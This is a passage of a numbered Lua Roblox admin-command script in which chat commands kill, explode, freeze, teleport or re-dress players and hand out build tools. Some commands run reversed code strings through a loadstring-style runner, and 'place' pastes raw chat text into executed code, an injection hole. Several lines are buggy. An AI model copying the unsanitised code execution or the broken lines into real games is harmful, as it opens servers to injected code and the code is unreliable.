  907. w4.Part0 = plr.Character:findFirstChild("Left Arm")
  908. w4.Part1 = v.Character:findFirstChild("Left Arm")
  909. local w5 = Instance.new("Weld", plr.Character:findFirstChild("Right Leg"))
  910. w5.Part0 = plr.Character:findFirstChild("Right Leg")
  911. w5.Part1 = v.Character:findFirstChild("Right Leg")
  912. local w6 = Instance.new("Weld", plr.Character:findFirstChild("Left Leg"))
  913. w6.Part0 = plr.Character:findFirstChild("Left Leg")
  914. w6.Part1 = v.Character:findFirstChild("Left Leg")
  915. plr.Character.Head.face:Destroy()
  916. for i, p in pairs(v.Character:children()) do
  917. if p:IsA("BasePart") then
  918. p.CanCollide = false
  919. end
  920. end
  921. for i, p in pairs(plr.Character:children()) do
  922. if p:IsA("BasePart") then
  923. p.Transparency = 1
  924. elseif p:IsA("Hat") then
  925. p:Destroy()
  926. end
  927. end
  928. v.Character.Parent = plr.Character
  929. v.Character.Humanoid.Changed:connect(function() v.Character.Humanoid.PlatformStand = true end)
  930. end
  931. end))
  932. end
  933. end
  934.  
  935. if msg:lower():sub(1,5) == "kill " then
  936. local plrz = GetPlr(plr, msg:lower():sub(6))
  937. for i, v in pairs(plrz) do
  938. coroutine.resume(coroutine.create(function()
  939. if v and v.Character and DeadlyCommands then v.Character:BreakJoints() end
  940. end))
  941. end
  942. end
  943.  
  944. if msg:lower():sub(1,8) == "respawn " then
  945. local plrz = GetPlr(plr, msg:lower():sub(9))
  946. for i, v in pairs(plrz) do
  947. coroutine.resume(coroutine.create(function()
  948. if v and v.Character and DeadlyCommands then v:LoadCharacter() end
  949. end))
  950. end
  951. end
  952.  
  953. if msg:lower():sub(1,5) == "trip " then
  954. local plrz = GetPlr(plr, msg:lower():sub(6))
  955. for i, v in pairs(plrz) do
  956. coroutine.resume(coroutine.create(function()
  957. if v and v.Character and v.Character:findFirstChild("Torso") then
  958. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
  959. end
  960. end))
  961. end
  962. end
  963.  
  964. if msg:lower():sub(1,5) == "stun " then
  965. local plrz = GetPlr(plr, msg:lower():sub(6))
  966. for i, v in pairs(plrz) do
  967. coroutine.resume(coroutine.create(function()
  968. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  969. v.Character.Humanoid.PlatformStand = true
  970. end
  971. end))
  972. end
  973. end
  974.  
  975. if msg:lower():sub(1,7) == "unstun " then
  976. local plrz = GetPlr(plr, msg:lower():sub(8))
  977. for i, v in pairs(plrz) do
  978. coroutine.resume(coroutine.create(function()
  979. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  980. v.Character.Humanoid.PlatformStand = false
  981. end
  982. end))
  983. end
  984. end
  985.  
  986. if msg:lower():sub(1,5) == "jump " then
  987. local plrz = GetPlr(plr, msg:lower():sub(6))
  988. for i, v in pairs(plrz) do
  989. coroutine.resume(coroutine.create(function()
  990. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  991. v.Character.Humanoid.Jump = true
  992. end
  993. end))
  994. end
  995. end
  996.  
  997. if msg:lower():sub(1,4) == "sit " then
  998. local plrz = GetPlr(plr, msg:lower():sub(5))
  999. for i, v in pairs(plrz) do
  1000. coroutine.resume(coroutine.create(function()
  1001. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1002. v.Character.Humanoid.Sit = true
  1003. end
  1004. end))
  1005. end
  1006. end
  1007.  
  1008. if msg:lower():sub(1,10) == "invisible " then
  1009. local plrz = GetPlr(plr, msg:lower():sub(11))
  1010. for i, v in pairs(plrz) do
  1011. coroutine.resume(coroutine.create(function()
  1012. if v and v.Character then
  1013. for a, obj in pairs(v.Character:children()) do
  1014. if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end if obj.Name:lower() == "HumanoidRootPart"then obj.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
  1015. end
  1016. end
  1017. end))
  1018. end
  1019. end
  1020.  
  1021. if msg:lower():sub(1,8) == "visible " then
  1022. local plrz = GetPlr(plr, msg:lower():sub(9))
  1023. for i, v in pairs(plrz) do
  1024. coroutine.resume(coroutine.create(function()
  1025. if v and v.Character then
  1026. for a, obj in pairs(v.Character:children()) do
  1027. if obj:IsA("BasePart") then obj.Transparency = 0 if obj.Name:lower() == "HumanoidRootPart"then obj.Transparency = 1 end if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
  1028. end
  1029. end
  1030. end))
  1031. end
  1032. end
  1033.  
  1034. if msg:lower():sub(1,5) == "lock " then
  1035. local plrz = GetPlr(plr, msg:lower():sub(6))
  1036. for i, v in pairs(plrz) do
  1037. coroutine.resume(coroutine.create(function()
  1038. if v and v.Character and DeadlyCommands then
  1039. for a, obj in pairs(v.Character:children()) do
  1040. if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
  1041. end
  1042. end
  1043. end))
  1044. end
  1045. end
  1046.  
  1047. if msg:lower():sub(1,7) == "unlock " then
  1048. local plrz = GetPlr(plr, msg:lower():sub(8))
  1049. for i, v in pairs(plrz) do
  1050. coroutine.resume(coroutine.create(function()
  1051. if v and v.Character then
  1052. for a, obj in pairs(v.Character:children()) do
  1053. if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
  1054. end
  1055. end
  1056. end))
  1057. end
  1058. end
  1059.  
  1060. if msg:lower():sub(1,8) == "explode " then
  1061. local plrz = GetPlr(plr, msg:lower():sub(9))
  1062. for i, v in pairs(plrz) do
  1063. coroutine.resume(coroutine.create(function()
  1064. if v and v.Character and v.Character:findFirstChild("Torso") and DeadlyCommands then
  1065. local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
  1066. end
  1067. end))
  1068. end
  1069. end
  1070.  
  1071. if msg:lower():sub(1,4) == "age " then
  1072. local plrz = GetPlr(plr, msg:lower():sub(5))
  1073. for i, v in pairs(plrz) do
  1074. coroutine.resume(coroutine.create(function()
  1075. if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
  1076. end))
  1077. end
  1078. end
  1079.  
  1080. if msg:lower():sub(1,5) == "fire " then
  1081. local plrz = GetPlr(plr, msg:lower():sub(6))
  1082. for i, v in pairs(plrz) do
  1083. coroutine.resume(coroutine.create(function()
  1084. if v and v.Character and v.Character:findFirstChild("Torso") then
  1085. local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
  1086. end
  1087. end))
  1088. end
  1089. end
  1090.  
  1091. if msg:lower():sub(1,7) == "unfire " then
  1092. local plrz = GetPlr(plr, msg:lower():sub(8))
  1093. for i, v in pairs(plrz) do
  1094. coroutine.resume(coroutine.create(function()
  1095. if v and v.Character and v.Character:findFirstChild("Torso") then
  1096. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
  1097. end
  1098. end))
  1099. end
  1100. end
  1101.  
  1102. if msg:lower():sub(1,6) == "smoke " then
  1103. local plrz = GetPlr(plr, msg:lower():sub(7))
  1104. for i, v in pairs(plrz) do
  1105. coroutine.resume(coroutine.create(function()
  1106. if v and v.Character and v.Character:findFirstChild("Torso") then
  1107. local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
  1108. end
  1109. end))
  1110. end
  1111. end
  1112.  
  1113. if msg:lower():sub(1,8) == "unsmoke " then
  1114. local plrz = GetPlr(plr, msg:lower():sub(9))
  1115. for i, v in pairs(plrz) do
  1116. coroutine.resume(coroutine.create(function()
  1117. if v and v.Character and v.Character:findFirstChild("Torso") then
  1118. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
  1119. end
  1120. end))
  1121. end
  1122. end
  1123.  
  1124. if msg:lower():sub(1,9) == "sparkles " then
  1125. local plrz = GetPlr(plr, msg:lower():sub(10))
  1126. for i, v in pairs(plrz) do
  1127. coroutine.resume(coroutine.create(function()
  1128. if v and v.Character and v.Character:findFirstChild("Torso") then
  1129. local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
  1130. end
  1131. end))
  1132. end
  1133. end
  1134.  
  1135. if msg:lower():sub(1,11) == "unsparkles " then
  1136. local plrz = GetPlr(plr, msg:lower():sub(12))
  1137. for i, v in pairs(plrz) do
  1138. coroutine.resume(coroutine.create(function()
  1139. if v and v.Character and v.Character:findFirstChild("Torso") then
  1140. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
  1141. end
  1142. end))
  1143. end
  1144. end
  1145.  
  1146. if msg:lower():sub(1,3) == "ff " then
  1147. local plrz = GetPlr(plr, msg:lower():sub(4))
  1148. for i, v in pairs(plrz) do
  1149. coroutine.resume(coroutine.create(function()
  1150. if v and v.Character then Instance.new("ForceField", v.Character) end
  1151. end))
  1152. end
  1153. end
  1154.  
  1155. if msg:lower():sub(1,5) == "unff " then
  1156. local plrz = GetPlr(plr, msg:lower():sub(6))
  1157. for i, v in pairs(plrz) do
  1158. coroutine.resume(coroutine.create(function()
  1159. if v and v.Character then
  1160. for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
  1161. end
  1162. end))
  1163. end
  1164. end
  1165.  
  1166. if msg:lower():sub(1,7) == "punish " then
  1167. local plrz = GetPlr(plr, msg:lower():sub(8))
  1168. for i, v in pairs(plrz) do
  1169. coroutine.resume(coroutine.create(function()
  1170. if v and v.Character then
  1171. v.Character.Parent = game:service("Lighting")
  1172. end
  1173. end))
  1174. end
  1175. end
  1176.  
  1177. if msg:lower():sub(1,9) == "unpunish " then
  1178. local plrz = GetPlr(plr, msg:lower():sub(10))
  1179. for i, v in pairs(plrz) do
  1180. coroutine.resume(coroutine.create(function()
  1181. if v and v.Character then
  1182. v.Character.Parent = game:service("Workspace")
  1183. v.Character:MakeJoints()
  1184. end
  1185. end))
  1186. end
  1187. end
  1188.  
  1189. if msg:lower():sub(1,7) == "freeze " then
  1190. local plrz = GetPlr(plr, msg:lower():sub(8))
  1191. for i, v in pairs(plrz) do
  1192. coroutine.resume(coroutine.create(function()
  1193. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1194. for a, obj in pairs(v.Character:children()) do
  1195. if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
  1196. end
  1197. end
  1198. end))
  1199. end
  1200. end
  1201.  
  1202. if msg:lower():sub(1,5) == "thaw " then
  1203. local plrz = GetPlr(plr, msg:lower():sub(6))
  1204. for i, v in pairs(plrz) do
  1205. coroutine.resume(coroutine.create(function()
  1206. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1207. for a, obj in pairs(v.Character:children()) do
  1208. if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
  1209. end
  1210. end
  1211. end))
  1212. end
  1213. end
  1214.  
  1215. if msg:lower():sub(1,5) == "heal " then
  1216. local plrz = GetPlr(plr, msg:lower():sub(6))
  1217. for i, v in pairs(plrz) do
  1218. coroutine.resume(coroutine.create(function()
  1219. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1220. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1221. end
  1222. end))
  1223. end
  1224. end
  1225.  
  1226. if msg:lower():sub(1,4) == "god " then
  1227. local plrz = GetPlr(plr, msg:lower():sub(5))
  1228. for i, v in pairs(plrz) do
  1229. coroutine.resume(coroutine.create(function()
  1230. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1231. v.Character.Humanoid.MaxHealth = 1/0
  1232. v.Character.Humanoid.Health = 9e9
  1233. end
  1234. end))
  1235. end
  1236. end
  1237.  
  1238. if msg:lower():sub(1,6) == "ungod " then
  1239. local plrz = GetPlr(plr, msg:lower():sub(7))
  1240. for i, v in pairs(plrz) do
  1241. coroutine.resume(coroutine.create(function()
  1242. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1243. v.Character.Humanoid.MaxHealth = 100
  1244. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1245. end
  1246. end))
  1247. end
  1248. end
  1249.  
  1250. if msg:lower():sub(1,8) == "ambient " then
  1251. local chk1 = msg:lower():sub(9):find(" ") + 8
  1252. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1253. game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1254. end
  1255.  
  1256. if msg:lower():sub(1,11) == "brightness " then
  1257. game.Lighting.Brightness = msg:sub(12)
  1258. end
  1259.  
  1260. if msg:lower():sub(1,5) == "time " then
  1261. game.Lighting.TimeOfDay = msg:sub(6)
  1262. end
  1263.  
  1264. if msg:lower():sub(1,9) == "fogcolor " then
  1265. local chk1 = msg:lower():sub(10):find(" ") + 9
  1266. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1267. game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1268. end
  1269.  
  1270. if msg:lower():sub(1,7) == "fogend " then
  1271. game.Lighting.FogEnd = msg:sub(8)
  1272. end
  1273.  
  1274. if msg:lower():sub(1,9) == "fogstart " then
  1275. game.Lighting.FogStart = msg:sub(10)
  1276. end
  1277.  
  1278. if msg:lower():sub(1,15) == "outdoorambient " then
  1279. local chk1 = msg:lower():sub(16):find(" ") + 15
  1280. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1281. game.Lighting.OutdoorAmbient = Color3.new(msg:sub(15,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1282. end
  1283.  
  1284. if msg:lower():sub(1,8) == "dynamic " then
  1285. if msg:lower():sub(9):find("on") then
  1286. game.Lighting.GlobalShadows = true
  1287. end
  1288. if msg:lower():sub(9):find("off") then
  1289. game.Lighting.GlobalShadows = false
  1290. end
  1291. end
  1292.  
  1293. if msg:lower():sub(1,7) == "btools " then
  1294. local plrz = GetPlr(plr, msg:lower():sub(8))
  1295. for i, v in pairs(plrz) do
  1296. coroutine.resume(coroutine.create(function()
  1297. if v and v:findFirstChild("Backpack") and EnableLoadstring then
  1298. local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
  1299. local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
  1300. local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
  1301. local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
  1302. local cl4 = LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = string.reverse([[
  1303. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
  1304. local sb
  1305. local hs
  1306. local pdist
  1307.  
  1308. script.Parent.Selected:connect(function(mouse)
  1309. if not mouse then return end
  1310. sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
  1311. hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
  1312. mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
  1313. hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
  1314. hs.MouseButton1Down:connect(function() pdist = 0 end)
  1315. end)
  1316.  
  1317. script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]]) cl4.Disabled = false
  1318. local MakeUnexploit = Instance.new("ObjectValue",cl) MakeUnexploit.Name = "Admin SB"
  1319. end
  1320. end))
  1321. end
  1322. end
  1323.  
  1324. if msg:lower():sub(1,12) == "startergive " then
  1325. local chk1 = msg:lower():sub(13):find(" ") + 12
  1326. local plrz = GetPlr(plr, msg:lower():sub(13,chk1-1))
  1327. for i, v in pairs(plrz) do
  1328. coroutine.resume(coroutine.create(function()
  1329. if v and v:findFirstChild("StarterGear") and game:findFirstChild("Lighting") then
  1330. for a, tool in pairs(game.Lighting:children()) do
  1331. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  1332. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.StarterGear end
  1333. end
  1334. end
  1335. end
  1336. end))
  1337. end
  1338. end
  1339.  
  1340. if msg:lower():sub(1,5) == "give " then
  1341. local chk1 = msg:lower():sub(6):find(" ") + 5
  1342. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1343. for i, v in pairs(plrz) do
  1344. coroutine.resume(coroutine.create(function()
  1345. if v and v:findFirstChild("Backpack") and game:GetService("ReplicatedStorage") then
  1346. for a, tool in pairs(game:GetService("ReplicatedStorage"):children()) do
  1347. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  1348. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
  1349. end
  1350. end
  1351. end
  1352. end))
  1353. end
  1354. end
  1355.  
  1356. if msg:lower():sub(1,12) == "removetools " then
  1357. local plrz = GetPlr(plr, msg:lower():sub(13))
  1358. for i, v in pairs(plrz) do
  1359. coroutine.resume(coroutine.create(function()
  1360. if v and v.Character and v:findFirstChild("Backpack") then
  1361. for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1362. for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1363. end
  1364. end))
  1365. end
  1366. end
  1367.  
  1368. if msg:lower():sub(1,5) == "rank " then
  1369. local chk1 = msg:lower():sub(6):find(" ") + 5
  1370. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1371. for i, v in pairs(plrz) do
  1372. coroutine.resume(coroutine.create(function()
  1373. if v and v:IsInGroup(msg:sub(chk1+1)) then
  1374. Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
  1375. elseif v and not v:IsInGroup(msg:sub(chk1+1))then
  1376. Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
  1377. end
  1378. end))
  1379. end
  1380. end
  1381.  
  1382. if msg:lower():sub(1,7) == "damage " then
  1383. local chk1 = msg:lower():sub(8):find(" ") + 7
  1384. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1385. for i, v in pairs(plrz) do
  1386. coroutine.resume(coroutine.create(function()
  1387. if v and v.Character and v.Character:findFirstChild("Humanoid") and DeadlyCommands then
  1388. v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
  1389. end
  1390. end))
  1391. end
  1392. end
  1393.  
  1394. if msg:lower():sub(1,5) == "grav " then
  1395. local plrz = GetPlr(plr, msg:lower():sub(6))
  1396. for i, v in pairs(plrz) do
  1397. coroutine.resume(coroutine.create(function()
  1398. if v and v.Character and v.Character:findFirstChild("Torso") then
  1399. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1400. end
  1401. end))
  1402. end
  1403. end
  1404.  
  1405. if msg:lower():sub(1,8) == "setgrav " then
  1406. local chk1 = msg:lower():sub(9):find(" ") + 8
  1407. local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
  1408. for i, v in pairs(plrz) do
  1409. coroutine.resume(coroutine.create(function()
  1410. if v and v.Character and v.Character:findFirstChild("Torso") then
  1411. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1412. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1413. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
  1414. end
  1415. end))
  1416. end
  1417. end
  1418.  
  1419. if msg:lower():sub(1,7) == "nograv " then
  1420. local plrz = GetPlr(plr, msg:lower():sub(8))
  1421. for i, v in pairs(plrz) do
  1422. coroutine.resume(coroutine.create(function()
  1423. if v and v.Character and v.Character:findFirstChild("Torso") then
  1424. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1425. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1426. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
  1427. end
  1428. end))
  1429. end
  1430. end
  1431.  
  1432. if msg:lower():sub(1,7) == "health " then
  1433. local chk1 = msg:lower():sub(8):find(" ") + 7
  1434. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1435. for i, v in pairs(plrz) do
  1436. coroutine.resume(coroutine.create(function()
  1437. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1438. v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
  1439. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1440. end
  1441. end))
  1442. end
  1443. end
  1444.  
  1445. if msg:lower():sub(1,6) == "speed " then
  1446. local chk1 = msg:lower():sub(7):find(" ") + 6
  1447. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1448. for i, v in pairs(plrz) do
  1449. coroutine.resume(coroutine.create(function()
  1450. if v and v.Character and v.Character:findFirstChild("Humanoid") and DeadlyCommands then
  1451. v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
  1452. end
  1453. end))
  1454. end
  1455. end
  1456.  
  1457. if msg:lower():sub(1,5) == "team " then
  1458. local chk1 = msg:lower():sub(6):find(" ") + 5
  1459. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1460. for i, v in pairs(plrz) do
  1461. coroutine.resume(coroutine.create(function()
  1462. if v and game:findFirstChild("Teams") then
  1463. for a, tm in pairs(game.Teams:children()) do
  1464. if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor wait(1/44) v:LoadCharacter() end
  1465. end
  1466. end
  1467. end))
  1468. end
  1469. end
  1470.  
  1471. if msg:lower():sub(1,6) == "place " then
  1472. local chk1 = msg:lower():sub(7):find(" ") + 6
  1473. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1474. for i, v in pairs(plrz) do
  1475. coroutine.resume(coroutine.create(function()
  1476. if v and v:findFirstChild("PlayerGui") and EnableLoadstring then
  1477. for i,v in pairs(v.PlayerGui:children())do if v.Name == "TELEPORT" then v:Destroy() end end
  1478. local scr = Instance.new("ScreenGui",v.PlayerGui) scr.Name = "TELEPORT"
  1479. local main = Instance.new("Frame", scr) main.Style = "RobloxRound" main.Size = UDim2.new(0,200,0,110) main.Position = UDim2.new(0.5,-100,.5,-55) main.ZIndex = 7 main.ClipsDescendants = true
  1480. local title = Instance.new("TextLabel", main) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.TextColor3 = Color3.new(1,1,1) title.Size = UDim2.new(1,0,0,15) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .9 title.Text = "Teleport?" title.Font = "ArialBold" title.FontSize = "Size24" title.ZIndex = 8
  1481. local s2 = Instance.new("TextLabel", main) s2.Position = UDim2.new(0,0,0,80) s2.Text = "Accept:" s2.BackgroundTransparency = 1 s2.BorderSizePixel = 0 s2.TextColor3 = Color3.new(1,1,1) s2.Font = "ArialBold" s2.FontSize = "Size18" s2.TextStrokeColor3 = Color3.new(1,1,1) s2.TextStrokeTransparency = .9 s2.TextXAlignment = "Left" s2.ZIndex = 8
  1482. local cb1 = Instance.new("TextButton", main) cb1.Position = UDim2.new(0,135,0,73) cb1.Size = UDim2.new(0,20,0,20) cb1.BackgroundTransparency = .8 cb1.BorderSizePixel = 1 cb1.BorderColor3 = Color3.new(1,1,1) cb1.TextColor3 = Color3.new(1,1,1) cb1.Font = "Arial" cb1.FontSize = "Size18" cb1.TextStrokeColor3 = Color3.new(1,1,1) cb1.TextStrokeTransparency = .9 cb1.TextYAlignment = "Top" cb1.ZIndex = 8 cb1.Text="Loading.."
  1483. wait(math.random(444,666)/120)
  1484. cb1.Text = ""
  1485. cb1.MouseButton1Down:connect(function() cb1.Text = "X" local cl = LocalScriptBase:Clone() cl.Code.Value = string.reverse([[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")") cl.Parent = scr.Parent cl.Disabled = false end)
  1486. local MakeUnexploit = Instance.new("ObjectValue",cl) MakeUnexploit.Name = "Admin SB"
  1487. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  1488. end
  1489. end))
  1490. end
  1491. end
  1492.  
  1493. if msg:lower():sub(1,3) == "tp " then
  1494. local chk1 = msg:lower():sub(4):find(" ") + 3
  1495. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  1496. local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
  1497. for i, v in pairs(plrz) do
  1498. coroutine.resume(coroutine.create(function()
  1499. for i2, v2 in pairs(plrz2) do
  1500. if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
  1501. v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
  1502. end
  1503. end
  1504. end))
  1505. end
  1506. end
  1507.  
  1508. if msg:lower():sub(1,7) == "change " then
  1509. local chk1 = msg:lower():sub(8):find(" ") + 7
  1510. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1511. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1512. for i, v in pairs(plrz) do
  1513. coroutine.resume(coroutine.create(function()
  1514. if v and v:findFirstChild("leaderstats") then
  1515. for a, st in pairs(v.leaderstats:children()) do
  1516. if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
  1517. end
  1518. end
  1519. end))
  1520. end
  1521. end
  1522.  
  1523. if msg:lower():sub(1,6) == "shirt " then
  1524. local chk1 = msg:lower():sub(7):find(" ") + 6
  1525. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1526. for i, v in pairs(plrz) do
  1527. coroutine.resume(coroutine.create(function()
  1528. if v and v.Character then
  1529. for i,v in pairs(v.Character:children()) do
  1530. if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1531. end
  1532. end
  1533. end))
  1534. end
  1535. end
  1536.  
  1537. if msg:lower():sub(1,6) == "pants " then
  1538. local chk1 = msg:lower():sub(7):find(" ") + 6
  1539. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1540. for i, v in pairs(plrz) do
  1541. coroutine.resume(coroutine.create(function()
  1542. if v and v.Character then
  1543. for i,v in pairs(v.Character:children()) do
  1544. if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1545. end
  1546. end
  1547. end))
  1548. end
  1549. end
  1550.  
  1551. if msg:lower():sub(1,5) == "face " then
  1552. local chk1 = msg:lower():sub(6):find(" ") + 5
  1553. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1554. for i, v in pairs(plrz) do
  1555. coroutine.resume(coroutine.create(function()
  1556. if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
  1557. v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
  1558. end
  1559. end))
  1560. end
  1561. end
  1562.  
  1563. ---------------------
  1564. -- FunCommands --
  1565. ---------------------
  1566. if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  1567.  
  1568. if msg:lower():sub(1,8) == "swagify " then
  1569. local plrz = GetPlr(plr, msg:lower():sub(9))
  1570. for i, v in pairs(plrz) do
  1571. coroutine.resume(coroutine.create(function()
  1572. if v and v.Character and EnableLoadstring then
  1573. for i,v in pairs(v.Character:children()) do
  1574. if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1575. if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1576. end
  1577. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
